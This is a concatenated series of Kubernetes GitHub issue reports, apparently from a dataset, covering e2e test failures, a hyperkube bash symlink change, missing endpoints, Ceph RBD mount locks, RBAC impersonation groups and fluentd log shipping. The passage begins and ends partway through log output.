redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ clusterip\\\ :\\\ 10.99.248.26\\\ , \\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ , \\\ ports\\\ :  interface {}{map string interface {}{\\\ protocol\\\ :\\\ tcp\\\ , \\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ }}}, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}}\ \  error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\     <nil> 0xc8220e0c60 exit status 1 <nil> true  0xc820aecb38 0xc820aecb50 0xc820aecb68   0xc820aecb38 0xc820aecb50 0xc820aecb68   0xc820aecb48 0xc820aecb60   0xa97590 0xa97590  0xc822374f00}:\ command stdout:\ error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ kind\\\ :\\\ service\\\ , \\\ apiversion\\\ :\\\ v1\\\ , \\\ metadata\\\ :map string interface {}{\\\ resourceversion\\\ :\\\ 35011\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-08t18:40:05z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-6f33s\\\ , \\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-6f33s/services/redis-master\\\ , \\\ uid\\\ :\\\ bcecb5ae-bd75-11e6-bbba-42010af00027\\\ }, \\\ spec\\\ :map string interface {}{\\\ selector\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ clusterip\\\ :\\\ 10.99.248.26\\\ , \\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ , \\\ ports\\\ :  interface {}{map string interface {}{\\\ protocol\\\ :\\\ tcp\\\ , \\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ }}}, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}}\ \ \ stderr:\ error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://130.211.229.168 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-6f33s -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ kind\ :\ service\ , \ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ resourceversion\ :\ 35011\ , \ creationtimestamp\ :\ 2016-12-08t18:40:05z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-6f33s\ , \ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-6f33s/services/redis-master\ , \ uid\ :\ bcecb5ae-bd75-11e6-bbba-42010af00027\ }, \ spec\ :map string interface {}{\ selector\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ clusterip\ :\ 10.99.248.26\ , \ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ , \ ports\ :  interface {}{map string interface {}{\ protocol\ :\ tcp\ , \ port\ :6379, \ targetport\ :\ redis-server\ }}}, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}}           error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found         <nil> 0xc8220e0c60 exit status 1 <nil> true  0xc820aecb38 0xc820aecb50 0xc820aecb68   0xc820aecb38 0xc820aecb50 0xc820aecb68   0xc820aecb48 0xc820aecb60   0xa97590 0xa97590  0xc822374f00}:     command stdout:     error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ kind\ :\ service\ , \ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ resourceversion\ :\ 35011\ , \ creationtimestamp\ :\ 2016-12-08t18:40:05z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-6f33s\ , \ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-6f33s/services/redis-master\ , \ uid\ :\ bcecb5ae-bd75-11e6-bbba-42010af00027\ }, \ spec\ :map string interface {}{\ selector\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ clusterip\ :\ 10.99.248.26\ , \ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ , \ ports\ :  interface {}{map string interface {}{\ protocol\ :\ tcp\ , \ port\ :6379, \ targetport\ :\ redis-server\ }}}, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}}               stderr:     error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found          error:     exit status 1      not to have occurred     issues about this test specifically:  28523  35741  37820   failed:  k8s.io  v1job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:202 expected error:     < errors.errorstring | 0xc8200c7060>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  27704  30127  30602  31070

the new hyperkube image has   changed   without notifying the bash environment now links to sh,\r there is only one  thing worst than an error, and it is a   silent error  \r this means that anyone that execute kubectl inside the hyperkube and leverage from a bash environment now get the weirdest exceptions , in my case troubles where caused by flexvolume scripted in bash which stopped working without reason and with weird errors logged   but also there are some other cluster-images based on your hyperkube image, and if you link bash to sh it will spread headache around :   \r \r    bash\r root@v:~  docker run --rm -ti gcr.io/google_containers/hyperkube:v1.8.2 bash\r   echo hello\r hello\r   echo -e hello\r -e hello\r   which bash\r /bin/bash\r   bash\r   bash --version\r bash: 0: illegal option --\r   ls -la /bin/bash\r lrwxrwxrwx 1 root root 7 sep  1 23:58 /bin/bash -> /bin/sh\r    \r \r \r while for version 1.7.7 the result was different\r    bash\r root@v:~  docker run --rm -ti gcr.io/google_containers/hyperkube:v1.7.7 bash                                                                                                                                                             \r root@1fb7ff758919:/  bash --version\r gnu bash, version 4.3.30 1 -release  x86_64-pc-linux-gnu \r copyright  c  2013 free software foundation, inc.\r license gplv3+: gnu gpl version 3 or later <http://gnu.org/licenses/gpl.html>\r \r this is free software; you are free to change and redistribute it.\r there is no warranty, to the extent permitted by law.\r \r    \r \r so , or remove bash, or repristinate bash,\r link bash->sh is a no-no \r

is this a bug report or feature request?  :\r  \r   what happened  :\r one of endpoint objects was missing for a service that had 1 matching pod running. the endpoint returned after 1h45m.\r \r   what you expected to happen  :\r for the endpoint to stay with us and be there\r \r   how to reproduce it  as minimally and precisely as possible   :\r i have no idea, i even don't know why it was fixed.\r \r   anything else we need to know?  :\r \r let me show some details.\r we're running a service that uses providers to watch for endpoints changes. there, for one service, i got the following event:\r  time=\ 2018-01-05t11:01:33z\  level=info msg=\ endpoints delete event: mongo-32-2\  \r the deployment was running just 1 pod, so this had to be the last one.\r \r i ran the following check to see what's going on:\r    \r $ kubectl -n placeable-qa get svc/mongo-32-2 -o yaml\r apiversion: v1\r kind: service\r ...\r   name: mongo-32-2\r   namespace: placeable-qa\r ...\r spec:\r   clusterip: 10.111.196.30\r   ports:\r   - port: 27017\r     protocol: tcp\r     targetport: 27017\r   selector:\r     app: mongo-32-2\r   sessionaffinity: none\r   type: clusterip\r status:\r   loadbalancer: {}\r    \r so, the service is defined and has selector  app=mongo-32-2 . now, deploy\r    \r $ kubectl -n placeable-qa get deploy/mongo-32-2 -o yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r ...\r   name: mongo-32-2\r   namespace: placeable-qa\r   resourceversion: \ 5884608\ \r  ...\r spec:\r   progressdeadlineseconds: 600\r   replicas: 1\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app: mongo-32-2\r ...\r status:\r   availablereplicas: 1\r   conditions:\r   - lasttransitiontime: 2018-01-05t03:02:44z\r     lastupdatetime: 2018-01-05t03:02:44z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   - lasttransitiontime: 2018-01-05t02:59:49z\r     lastupdatetime: 2018-01-05t03:02:44z\r     message: replicaset \ mongo-32-2-855f6f7547\  has successfully progressed.\r     reason: newreplicasetavailable\r     status: \ true\ \r     type: progressing\r   observedgeneration: 1\r   readyreplicas: 1\r   replicas: 1\r   updatedreplicas: 1\r    \r and pods\r    \r $ kubectl -n placeable-qa get po -l app=mongo-32-2  \r name                          ready     status    restarts   age\r mongo-32-2-855f6f7547-sn4ph   1/1       running   0          9h\r    \r yet for endpoints\r    \r $ kubectl -n placeable-qa get ep mongo-32-2\r error from server  notfound : endpoints \ mongo-32-2\  not found\r    \r surprisingly, the endpoint came back after 1h45m !!! - this is the log from our service:\r    \r  time=\ 2018-01-05t11:01:33z\  level=info msg=\ endpoints delete event: mongo-32-2\  \r ...\r  time=\ 2018-01-05t12:45:10z\  level=info msg=\ new endpoints created event: mongo-32-2\  \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5+coreos.0\ , gitcommit:\ b8e596026feda7b97f4337b115d1a9a250afa8ac\ , gittreestate:\ clean\ , builddate:\ 2017-12-12t11:01:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws x1.32xlarge\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r linux central-ansible 4.13.0-21-generic  24~16.04.1-ubuntu smp mon dec 18 19:39:31 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubespray + custom\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the value of port field shown when running kubectl get ingress is either 80 or 443, if the ingress controller expose another specified port. there is no way for ingress controller to update the status of ingress, and show it to the user.\r \r   what you expected to happen  :\r user should be able to view the right port of ingress controller when run kubectl get ingress command.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r build a service proxy url to access a websocket service, the apiserver do not add  x-forwarded-uri ... headers in proxied request and missing query parameters in requested url \r \r   what you expected to happen  :\r \r the backend websocket server should read  x-forwarded-uri  in requested headers,\r and can get query params properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try any websocket needs query params to work right\r \r   anything else we need to know?  :\r i believe the missing of query params is due to  newthrottledupgradeawareproxyhandler  https://github.com/kubernetes/kubernetes/blob/733a381ec42ede15cd0499bc502a0cba6612f3ca/pkg/registry/core/service/proxy.go l74  method that does not turn on the option  userequestlocation \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     > client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     > server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  : extend crd api, add ability to specify fields to be used in a field selector query\r \r   why is this needed  : to filter large lists of crd in both kubectl and http api. we are currently forced to copy fields and values from the crd's spec and status to add labels, so that we can query with label selectors\r

after  10256, we allocate 2.5gb to heapster.  we need that for max utilization, but we effectively permanently allocate that memory even for relatively small clusters.  we also assign 2gb to influx.  it would be good not to have such a high fixed overhead.  the low-hanging fruit here is probably optimizing heapster, because it is under our control.

as titile showed,my ceph cluster  worked healthly ,          cluster 655807bb-c157-46e6-8f10-2454da8d710f      health health_warn mon.10-51-161-109 low disk space      monmap e1: 3 mons at {10-51-161-109=10.51.161.109:6789/0,10-51-161-110=10.51.161.110:6789/0,10-51-161-111=10.51.161.111:6789/0}, election epoch 56, quorum 0,1,2 10-51-161-109,10-51-161-110,10-51-161-111      osdmap e57: 3 osds: 3 up, 3 in       pgmap v2539: 200 pgs, 4 pools, 344 mb data, 128 objects             1101 mb used, 103 gb / 104 gb avail                  200 active+clean      as belove , it's my pod  with needed image named foo ,      rbd image 'foo':     size 10000 mb in 2500 objects     order 22  4096 kb objects      block_name_prefix: rbd_data.18932ae8944a     format: 2     features: layering           apiversion: \ v1\  kind: \ pod\  metadata:    name: \ rbd2\  spec:    containers:      -        name: \ rbd-rw\        image: \ nginx\        resources:         requests:           memory: \ 64mi\            cpu: \ 250m\          limits:           memory: \ 128mi\            cpu: \ 500m\        volumemounts:          -            mountpath: \ /mnt/rbd\            name: \ rbdpd\    volumes:      -        name: \ rbdpd\        rbd:          monitors:            - \ 10.51.161.109:6789\            - \ 10.51.161.110:6789\            - \ 10.51.161.111:6789\          pool: \ rbd\          image: \ foo\          user: \ admin\          secretref:            name: \ ceph-client-admin-keyring\          fstype: \ ext4\          keyring: \ /etc/ceph/ceph.client.admin.keyring\          readonly: false        when i create pod with  kubelet create -f pod.yaml , it show me:      events:   firstseen lastseen    count   from            subobjectpath   reason      message   ─────────   ────────    ───── ────            ───────────── ──────      ───────   1h        1m      486 {kubelet 10.51.161.111}         failedmount unable to mount volumes for pod \ rbd2_default\ : rbd: image foo is locked by other nodes   1h        1m      486 {kubelet 10.51.161.111}         failedsync  error syncing pod, skipping: rbd: image foo is locked by other nodes   1h        3s      11  {kubelet 10.51.161.111}         failedmount unable to mount volumes for pod \ rbd2_default\ : exit status 1   1h        3s      11  {kubelet 10.51.161.111}         failedsync  error syncing pod, skipping: exit status 1      then ,i go to the node with pod, search the log       dec 21 13:22:04 docker kubelet: e1221 13:22:04.105584   13909 pod_workers.go:112  error syncing pod 200bcc0d-a797-11e5-98a5-fa163e29fbd9, skipping: exit status 1 dec 21 13:22:13 docker kernel: libceph: client8060 fsid 655807bb-c157-46e6-8f10-2454da8d710f dec 21 13:22:13 docker kernel: libceph: auth method 'x' error -1 dec 21 13:22:13 docker kernel: libceph: client9042 fsid 655807bb-c157-46e6-8f10-2454da8d710f dec 21 13:22:13 docker kernel: libceph: auth method 'x' error -1 dec 21 13:22:13 docker kernel: libceph: client8032 fsid 655807bb-c157-46e6-8f10-2454da8d710f dec 21 13:22:13 docker kernel: libceph: auth method 'x' error -1 dec 21 13:22:13 docker kubelet: e1221 13:22:13.992751   13909 disk_manager.go:55  failed to attach disk dec 21 13:22:13 docker kubelet: e1221 13:22:13.992792   13909 rbd.go:203  rbd: failed to setup dec 21 13:22:13 docker kubelet: e1221 13:22:13.992862   13909 kubelet.go:1360  unable to mount volumes for pod \ rbd2_default\ : exit status 1; skipping pod dec 21 13:22:14 docker kubelet: e1221 13:22:14.011721   13909 pod_workers.go:112  error syncing pod 200bcc0d-a797-11e5-98a5-fa163e29fbd9, skipping: exit status 1        but wen i change   readonly: false  to  readyonly: true ,and  map  foo image to host. it can be successful .but only read .       root@10-51-161-111 ~   docker exec -ti 78ab17af10a4 /bin/bash   ====================  root@rbd2:/  df -th  filesystem                                                                                          type   size  used avail use% mounted on /dev/mapper/docker-253:1-101252703-78ab17af10a4b380752a2fdaed78fa914d9863296ca2a8d068fdd3b4951818c8 ext4   9.8g  182m  9.1g   2% / tmpfs                                                                                               tmpfs  1.9g     0  1.9g   0% /dev shm                                                                                                 tmpfs   64m     0   64m   0% /dev/shm tmpfs                                                                                               tmpfs  1.9g     0  1.9g   0% /sys/fs/cgroup tmpfs                                                                                               tmpfs  1.9g     0  1.9g   0% /run/secrets /dev/rbd0                                                                                           ext4   9.5g   37m  9.0g   1% /mnt/rbd /dev/mapper/centos-root                                                                             xfs     31g   14g   18g  43% /etc/hosts tmpfs                                                                                               tmpfs  1.9g  8.0k  1.9g   1% /run/secret   =================  root@rbd2:/  touch  /mnt/rbd/test.txt  touch: cannot touch '/mnt/rbd/test.txt': read-only file system root@rbd2:/            how i can create  pod with  write/read   rbd  image ???

\\  update   \\  the original issue definition is obsolete.  i think the  be centering the e2e test run functionality around testcontext.    \\  original issue   \\    pauls idea, im rephrasing, correct if im missing anything  right now, cloudconfig, reportdir, and phodstartuptimeout are all hidden inside e2e.go  pending merge of 19476 .  we'd like to make this one more step of modularity.        type e2etests struct {       cloudconfig  cloudconfig       reportdir   string       podstartuptimeout int   }       to implement i think we would need to bind  the flags to the struct fields and make sure we dont parse until after the base struct is created.  this i think could be a follow on pr to  19476 , or we could gate if we feel its a blocker.  as part of this, we should determine wether we only want cloudconfig accessible via cmd line options or not.  reportdir and podstartuptimeout i think are straight forward.  either way, openshift can use and consume the main portion of e2e's with or without this extensibility.

running a small 3 node kubernetes 1.3.4 cluster. probably because of network issues i see frequent re-elections for apiserver and controller-manager. sometimes after a election, the controller-manager can't sync state with some node which causes it to delete all pods:      sep 12 01:00:08 master1 hyperkube 8135 : i0912 01:00:08.572421    8135 leaderelection.go:215  sucessfully acquired lease kube-system/kube-controller-manager ... sep 12 01:00:08 master1 hyperkube 8135 : w0912 01:00:08.920296    8135 nodecontroller.go:730  missing timestamp for node master0. assuming now as a timestamp. sep 12 01:00:08 master1 hyperkube 8135 : w0912 01:00:08.920826    8135 nodecontroller.go:730  missing timestamp for node master1. assuming now as a timestamp. sep 12 01:00:08 master1 hyperkube 8135 : w0912 01:00:08.920842    8135 nodecontroller.go:730  missing timestamp for node master2. assuming now as a timestamp. sep 12 01:00:08 master1 hyperkube 8135 : i0912 01:00:08.920991    8135 event.go:216  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ master2\ , uid:\ master2\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'registerednode' node master2 event: registered node master2 in nodecontroller sep 12 01:00:08 master1 hyperkube 8135 : i0912 01:00:08.921126    8135 event.go:216  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ master0\ , uid:\ master0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'registerednode' node master0 event: registered node master0 in nodecontroller sep 12 01:00:08 master1 hyperkube 8135 : i0912 01:00:08.921144    8135 event.go:216  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ master1\ , uid:\ master1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'registerednode' node master1 event: registered node master1 in nodecontroller ... sep 12 01:00:09 master1 hyperkube 8135 : i0912 01:00:09.677409    8135 endpoints_controller.go:322  waiting for pods controller to sync, requeuing service default/postgres ... ... sep 12 01:00:58 master1 hyperkube 8135 : i0912 01:00:58.229120    8135 event.go:216  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ master0\ , uid:\ master0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodenotready' node master0 status is now: nodenotready ... sep 12 01:09:08 master1 hyperkube 8135 : i0912 01:09:08.127964    8135 event.go:216  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ master0\ , uid:\ master0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'deletingallpods' node master0 event: deleting all pods from node master0.      during that time, te only thing in the kubelet log are clean up warnings which seem unrelated  haven't debugged them so far but they happen all the time and don't seem related  except maybe:      sep 12 01:04:27 master0 hyperkube 3176 : e0912 01:04:27.229097    3176 event.go:198  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ master0.146c3eb11190fbf9\ , generatename sep 12 01:04:27 master0 hyperkube 3176 : w0912 01:04:27.608778    3176 status_manager.go:447  failed to update status for pod \ _  \ : timeout: request did not complete within allowed duration      now in the apiserver log during that time i see a bunch of timeout, but i'm not sure if apiserver itself times out  maybe waiting for etcd  or if the client doesn't read the response and therefor times out:      sep 12 01:01:42 master0 hyperkube 3120 : i0912 01:01:42.351566    3120 trace.go:61  trace \ get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager\   started 2016-09-12 01:01:34.595801938 +0000 utc : sep 12 01:01:42 master0 hyperkube 3120 :  7.755707434s   7.755707434s  end sep 12 01:01:48 master0 hyperkube 3120 : e0912 01:01:48.608313    3120 apiserver.go:467  apiserver was unable to write a json response: http: handler timeout sep 12 01:01:48 master0 hyperkube 3120 : e0912 01:01:48.615804    3120 errors.go:63  apiserver received an error that is not an unversioned.status: http: handler timeout sep 12 01:01:49 master0 hyperkube 3120 : i0912 01:01:49.261087    3120 trace.go:61  trace \ list /apis/extensions/v1beta1/replicasets\   started 2016-09-12 01:00:54.147098443 +0000 utc : sep 12 01:01:49 master0 hyperkube 3120 :  5.216946084s   5.216946084s  about to list from storage sep 12 01:01:49 master0 hyperkube 3120 :  15.336691581s   10.119745497s  listing from storage done sep 12 01:01:49 master0 hyperkube 3120 :  24.73243071s   9.395739129s  self-linking done sep 12 01:01:49 master0 hyperkube 3120 :  55.11018015s   30.37774944s  writing http response done  12 items  sep 12 01:01:49 master0 hyperkube 3120 :  55.110203353s   23.203µs  end      finally for etcd i see a bunch of warnings all the time  i know, this needs tuning  and even a connection reset but it seems to recover from that within  sub seconds and it's nothing that i would expect has such severe impact:      sep 12 01:00:01 master0 etcd 3092 : apply entries took too long  182.03483ms for 1 entries  sep 12 01:00:01 master0 etcd 3092 : avoid queries with large range/delete range! sep 12 01:00:01 master0 etcd 3092 : failed to send out heartbeat on time  exceeded the 200ms timeout for 659.108653ms  sep 12 01:00:02 master0 etcd 3092 : server is likely overloaded      now that i'm filling this issue i see this line:      sep 12 01:03:08 master0 etcd 3092 : the clock difference against peer 8c62c59fae85f284 is too high  1.352015528s > 1s       but it also seems to recover from that.  so, yeah, i need to sync clocks - maybe this fixes it. and tune the etcd timeouts, but given that similar stuff can happen in production, is this impact expected?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r impersonate system:authenticated\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :  baremetal \r -   os    e.g. from /etc/os-release : centos7\r -   kernel    e.g.  uname -a  :  3.10.0-514.6.1.el7.x86_64 \r -   install tools  : custom\r -   others  :\r \r using rbac\r \r   what happened  :\r \r impersonating a user is not setting  system:authenticated  group which causes impersonate to fail\r \r   what you expected to happen  :\r \r if a user is in the tokens file they and they are impersonated the  system:authenticated  group should be added for authz. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. make sure  system:authenticated  group has  view  cluster role\r 2. create a test user via token file \r 3. using a user with impersonate access submit a command via kubectl \r       kubectl get po --as='<user>' \r that request will fail with 403 response even though the user is in the  system:authenticated  group.\r \r   anything else we need to know  :\r \r cc @liggitt @deads2k \r

the sample-apiserver should provide an example admission plugin that makes meaningful use of a plugininitializer.  one way to do this is to create a cluster-scoped resource in the group.  the cluster scoped resource could have a field that indicates flunder.names that are disallowed.  the admission plugin could list the cluster-scope resources and check against banned names.\r \r it could later be expanded to first check a generated lister so that it is forced to create its own plugininitializer and add it to the chain.\r \r @p0lyn0mial

i install kube-apiserver 1.7.3， and when running it . the error show bleow:\r the error code is status=203/exec, what does 203 it mean? anyone help me? thank in andvance!\r \r   active: failed  result: start-limit  since thu 2017-08-10 09:20:02 cst; 1min 10s ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r   process: 4086 execstart=/usr/bin/kube-apiserver $kube_logtostderr $kube_log_level $kube_etcd_servers $kube_api_address $kube_api_port $kubelet_port $kube_allow_priv $kube_service_addresses $kube_admission_control $kube_api_args  code=exited, status=203/exec \r  main pid: 4086  code=exited, status=203/exec \r \r aug 10 09:20:02 k8server systemd 1 : kube-apiserver.service: main process exited, code=exi...xec\r aug 10 09:20:02 k8server systemd 1 : failed to start kubernetes api service.\r aug 10 09:20:02 k8server systemd 1 : unit kube-apiserver.service entered failed state.\r aug 10 09:20:02 k8server systemd 1 : kube-apiserver.service failed.\r aug 10 09:20:02 k8server systemd 1 : kube-apiserver.service holdoff time over, scheduling ...rt.\r aug 10 09:20:02 k8server systemd 1 : start request repeated too quickly for kube-apiserver...ice\r aug 10 09:20:02 k8server systemd 1 : failed to start kubernetes api service.\r aug 10 09:20:02 k8server systemd 1 : unit kube-apiserver.service entered failed state.\r aug 10 09:20:02 k8server systemd 1 : kube-apiserver.service failed.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r deployed current version of https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch, no logs get shipped by fluentd:\r \r    \r 2017-08-15 11:15:05 +0000  warn : could not push logs to elasticsearch, resetting connection and trying again. read timeout reached\r 2017-08-15 11:15:06 +0000  info : connection opened to elasticsearch cluster => {:host=>\ elasticsearch-logging\ , :port=>9200, :scheme=>\ http\ }\r 2017-08-15 11:15:06 +0000  warn : could not push logs to elasticsearch, resetting connection and trying again. read timeout reached\r ...\r 2017-08-14 13:09:01 +0000  warn : suppressed same stacktrace\r 2017-08-14 13:09:01 +0000  warn : emit transaction failed: error_class=fluent::bufferqueuelimiterror error=\ queue size exceeds limit\  tag=\ kubernetes.var.log.containers.kube-dns-1321724180-5lcwc_kube-system_kubedns-095557f8ed90406c856918f9a4707141fbeb8b7e26f2ab1f0ecc0433ae0d2b67.log\ \r 2017-08-14 13:09:01 +0000  warn : suppressed same stacktrace\r 2017-08-14 13:09:01 +0000  warn : emit transaction failed: error_class=fluent::bufferqueuelimiterror error=\ queue size exceeds limit\  tag=\ kubernetes.var.log.containers.calico-policy-controller-332243736-m64gd_kube-system_calico-policy-controller-8f31144e43911c408ceadb1d0c79ed6249f82b662157a81e0ded08641ea22610.log\ \r 2017-08-14 13:09:01 +0000  warn : suppressed same stacktrace\r 2017-08-14 13:09:02 +0000  warn : emit transaction failed: error_class=fluent::bufferqueuelimiterror error=\ queue size exceeds limit\  tag=\ kubernetes.var.log.containers.calico-node-gwzrv_kube-system_calico-node-14aa6a4a08aee51f203adb623814802a9b9908518171aa04afde07d2eaeb2901.log\ \r 2017-08-14 13:09:02 +0000  warn : suppressed same stacktrace\r 2017-08-14 13:09:02 +0000  warn : emit transaction 